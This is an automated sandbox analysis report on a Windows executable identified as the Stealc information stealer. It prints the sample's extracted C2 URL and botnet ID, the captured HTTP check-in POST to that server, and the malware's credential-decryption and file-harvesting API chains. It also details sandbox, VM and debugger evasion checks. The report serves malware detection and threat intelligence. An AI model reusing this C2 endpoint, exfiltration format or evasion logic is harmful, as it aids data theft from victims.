Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1541095
MD5:	3232476789303ec2731e9ccce8937fea
SHA1:	9d2054302efc53083547e139d7f8a7487e909c89
SHA256:	8e46ac374c025d82eb6c7c0db64706ce2546735b1dc5758087fb6fbe9041af84
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Searches for specific processes (likely to inject)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to create guard pages, often used to hinder reverse usering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE file contains an invalid checksum

PE file contains sections with non-standard names

Program does not show much activity (idle)

Queries the volume information (name, serial number etc) of a device

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

file.exe (PID: 3884 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 3232476789303EC2731E9CCCE8937FEA)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.2140370390.0000000005480000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2180733460.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2182986141.000000000188E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 3884	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 3884	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.af0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Suricata Signatures

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T12:11:08.098877+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	49711	185.215.113.37	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.37/	URL Reputation: Label: malware
Source: http://185.215.113.37	URL Reputation: Label: malware
Source: http://185.215.113.37/e2b1563c6670f193.php	URL Reputation: Label: malware

Found malware configuration

Source: 0.2.file.exe.af0000.0.unpack

Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 47%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AFC820 lstrlen,CryptStringToBinaryA,lstrcat,lstrcat,lstrcat,	0_2_00AFC820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AF9AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_00AF9AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AF7240 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_00AF7240
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AF9B60 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_00AF9B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B08EA0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_00B08EA0

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B038B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_00B038B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B04910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00B04910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AFDA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_00AFDA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AFE430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_00AFE430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AFED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_00AFED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B04570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00B04570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B03EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00B03EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AFF6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00AFF6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AF16D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00AF16D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AFDE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00AFDE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AFBE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_00AFBE70

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:49711 -> 185.215.113.37:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: http://185.215.113.37/e2b1563c6670f193.php

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAFBGHIDBGHJJKFHJDHCHost: 185.215.113.37Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 41 46 42 47 48 49 44 42 47 48 4a 4a 4b 46 48 4a 44 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 30 35 37 32 41 32 38 44 32 36 37 39 34 33 34 30 30 30 36 33 0d 0a 2d 2d 2d 2d 2d 2d 43 41 46 42 47 48 49 44 42 47 48 4a 4a 4b 46 48 4a 44 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 43 41 46 42 47 48 49 44 42 47 48 4a 4a 4b 46 48 4a 44 48 43 2d 2d 0d 0a Data Ascii: ------CAFBGHIDBGHJJKFHJDHCContent-Disposition: form-data; name="hwid"A0572A28D267943400063------CAFBGHIDBGHJJKFHJDHCContent-Disposition: form-data; name="build"doma------CAFBGHIDBGHJJKFHJDHC--

Source: Joe Sandbox View

IP Address: 185.215.113.37 185.215.113.37

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00AF4880 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,lstrlen,lstrlen,HttpSendRequestA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

0_2_00AF4880

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache

Source: unknown

HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAFBGHIDBGHJJKFHJDHCHost: 185.215.113.37Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 41 46 42 47 48 49 44 42 47 48 4a 4a 4b 46 48 4a 44 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 30 35 37 32 41 32 38 44 32 36 37 39 34 33 34 30 30 30 36 33 0d 0a 2d 2d 2d 2d 2d 2d 43 41 46 42 47 48 49 44 42 47 48 4a 4a 4b 46 48 4a 44 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 43 41 46 42 47 48 49 44 42 47 48 4a 4a 4b 46 48 4a 44 48 43 2d 2d 0d 0a Data Ascii: ------CAFBGHIDBGHJJKFHJDHCContent-Disposition: form-data; name="hwid"A0572A28D267943400063------CAFBGHIDBGHJJKFHJDHCContent-Disposition: form-data; name="build"doma------CAFBGHIDBGHJJKFHJDHC--

Source: file.exe, 00000000.00000002.2182986141.000000000188E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37
Source: file.exe, 00000000.00000002.2182986141.00000000018E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/
Source: file.exe, 00000000.00000002.2182986141.00000000018E9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2182986141.0000000001902000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2182986141.0000000001915000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2182986141.00000000018D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php
Source: file.exe, 00000000.00000002.2182986141.0000000001902000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php%M
Source: file.exe, 00000000.00000002.2182986141.0000000001902000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpqM
Source: file.exe, 00000000.00000002.2182986141.00000000018E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/l
Source: file.exe, 00000000.00000002.2182986141.000000000188E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37G

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EB08C0	0_2_00EB08C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EB51E0	0_2_00EB51E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EBB9A6	0_2_00EBB9A6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EB1954	0_2_00EB1954
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EAC92D	0_2_00EAC92D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EAB112	0_2_00EAB112
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EB827D	0_2_00EB827D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EAE333	0_2_00EAE333
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EB331D	0_2_00EB331D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EA2C70	0_2_00EA2C70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E9043A	0_2_00E9043A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D9FD81	0_2_00D9FD81
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EB9D46	0_2_00EB9D46
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EA9E65	0_2_00EA9E65
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E0CFF5	0_2_00E0CFF5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F257B4	0_2_00F257B4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D6879F	0_2_00D6879F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EB6774	0_2_00EB6774

Source: C:\Users\user\Desktop\file.exe

Code function: String function: 00AF45C0 appears 316 times

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: oxbstytm ZLIB complexity 0.9948882211538461

Source: file.exe, 00000000.00000002.2180733460.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.2140370390.0000000005480000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: =R.SLN6CO6A3TUV4VI7QN) U16F5V0%Q$'V<+59CPLCJJULOYXRHGLPW "53>/1

Source: classification engine

Classification label: mal100.troj.evad.winEXE@1/0@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00B08680 CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,

0_2_00B08680

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00B03720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_00B03720

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\42GZ7YUB.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe

ReversingLabs: Detection: 47%

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: file.exe

Static file information: File size 1820160 > 1048576

Source: file.exe

Static PE information: Raw size of oxbstytm is bigger than: 0x100000 < 0x196400

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.af0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;oxbstytm:EW;yzvcyrux:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;oxbstytm:EW;yzvcyrux:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00B09860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00B09860

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1c612d should be: 0x1c6f15

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: oxbstytm
Source: file.exe	Static PE information: section name: yzvcyrux
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F138FF push ebp; mov dword ptr [esp], edx	0_2_00F13909
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F388D5 push 6AD28FF2h; mov dword ptr [esp], ecx	0_2_00F3895E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F388D5 push 5ED95401h; mov dword ptr [esp], edx	0_2_00F389A9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F388D5 push ebp; mov dword ptr [esp], eax	0_2_00F389CE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EB08C0 push esi; mov dword ptr [esp], 7F1C28C1h	0_2_00EB090B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EB08C0 push edx; mov dword ptr [esp], ebp	0_2_00EB09FB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EB08C0 push edi; mov dword ptr [esp], edx	0_2_00EB0A29
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EB08C0 push eax; mov dword ptr [esp], edx	0_2_00EB0A91
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EB08C0 push ebx; mov dword ptr [esp], eax	0_2_00EB0B49
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EB08C0 push esi; mov dword ptr [esp], esp	0_2_00EB0B73
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EB08C0 push 68F7BF9Eh; mov dword ptr [esp], ebx	0_2_00EB0C9D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EB08C0 push edi; mov dword ptr [esp], eax	0_2_00EB0CCD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EB08C0 push 7D942431h; mov dword ptr [esp], ecx	0_2_00EB0D20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EB08C0 push esi; mov dword ptr [esp], eax	0_2_00EB0D53
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EB08C0 push 0A548464h; mov dword ptr [esp], edx	0_2_00EB0D74
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EB08C0 push ebx; mov dword ptr [esp], eax	0_2_00EB0DEC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EB08C0 push 0770DB0Bh; mov dword ptr [esp], ecx	0_2_00EB0E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EB08C0 push 5C0CC3EBh; mov dword ptr [esp], eax	0_2_00EB0E29
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EB08C0 push edx; mov dword ptr [esp], ebp	0_2_00EB0E4B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EB08C0 push 06CF39DFh; mov dword ptr [esp], ebp	0_2_00EB0EAD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EB08C0 push ebx; mov dword ptr [esp], ebp	0_2_00EB0EE9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EB08C0 push 4C65E077h; mov dword ptr [esp], ebx	0_2_00EB0F64
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EB08C0 push 5AF5E3FBh; mov dword ptr [esp], ebx	0_2_00EB0F8C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EB08C0 push eax; mov dword ptr [esp], ecx	0_2_00EB100C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EB08C0 push 70C116A9h; mov dword ptr [esp], eax	0_2_00EB108F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EB08C0 push 3B2BA97Dh; mov dword ptr [esp], eax	0_2_00EB10E7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EB08C0 push esi; mov dword ptr [esp], esp	0_2_00EB1111
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EB08C0 push ebx; mov dword ptr [esp], 1435C863h	0_2_00EB112E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EB08C0 push eax; mov dword ptr [esp], esp	0_2_00EB11D4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01179174 push 0AB5F4ABh; mov dword ptr [esp], edx	0_2_0117919E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01179174 push eax; mov dword ptr [esp], ecx	0_2_011791C3

Source: file.exe

Static PE information: section name: oxbstytm entropy: 7.954384653876487

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

0_2_00B09860

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-13414

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D521BC second address: D521C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D521C6 second address: D521CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D521CC second address: D519BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 jmp 00007FC221A94B2Fh 0x0000000e push dword ptr [ebp+122D04E9h] 0x00000014 jmp 00007FC221A94B2Bh 0x00000019 call dword ptr [ebp+122D2819h] 0x0000001f pushad 0x00000020 jmp 00007FC221A94B37h 0x00000025 xor eax, eax 0x00000027 jmp 00007FC221A94B34h 0x0000002c mov edx, dword ptr [esp+28h] 0x00000030 stc 0x00000031 sub dword ptr [ebp+122D2F78h], edi 0x00000037 mov dword ptr [ebp+122D2B56h], eax 0x0000003d jmp 00007FC221A94B2Eh 0x00000042 mov esi, 0000003Ch 0x00000047 mov dword ptr [ebp+122D19E9h], edi 0x0000004d add esi, dword ptr [esp+24h] 0x00000051 jno 00007FC221A94B2Ch 0x00000057 lodsw 0x00000059 pushad 0x0000005a jnl 00007FC221A94B2Ch 0x00000060 mov ecx, dword ptr [ebp+122D2B16h] 0x00000066 popad 0x00000067 add eax, dword ptr [esp+24h] 0x0000006b mov dword ptr [ebp+122D1B69h], edx 0x00000071 mov ebx, dword ptr [esp+24h] 0x00000075 clc 0x00000076 nop 0x00000077 push eax 0x00000078 push edx 0x00000079 jnp 00007FC221A94B3Eh 0x0000007f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC2295 second address: EC229B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
